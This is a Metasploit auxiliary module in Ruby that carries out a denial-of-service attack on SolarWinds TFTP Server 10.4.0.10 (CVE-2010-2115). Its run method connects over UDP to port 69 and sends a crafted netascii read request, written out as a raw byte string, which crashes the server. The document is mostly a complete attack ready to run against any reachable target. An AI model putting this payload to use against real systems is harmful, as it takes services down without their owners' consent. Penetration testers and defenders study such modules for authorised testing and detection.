SolarWinds TFTP Server 10.4.0.10 Denial of Service

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SolarWinds TFTP Server 10.4.0.10 Denial of Service',
        'Description' => %q{
          The SolarWinds TFTP server can be shut down by sending a 'netascii' read
          request with a specially crafted file name.
        },
        'Author' => 'Nullthreat',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-2115' ],
          [ 'OSVDB', '64845' ],
          [ 'EDB', '12683' ]
        ],
        'DisclosureDate' => '2010-05-21',
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options([
      Opt::RPORT(69)
    ])
  end

  def run
    connect_udp
    print_status('Sending Crash request...')
    udp_sock.put("\x00\x01\x01\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00")
    disconnect_udp
  end
end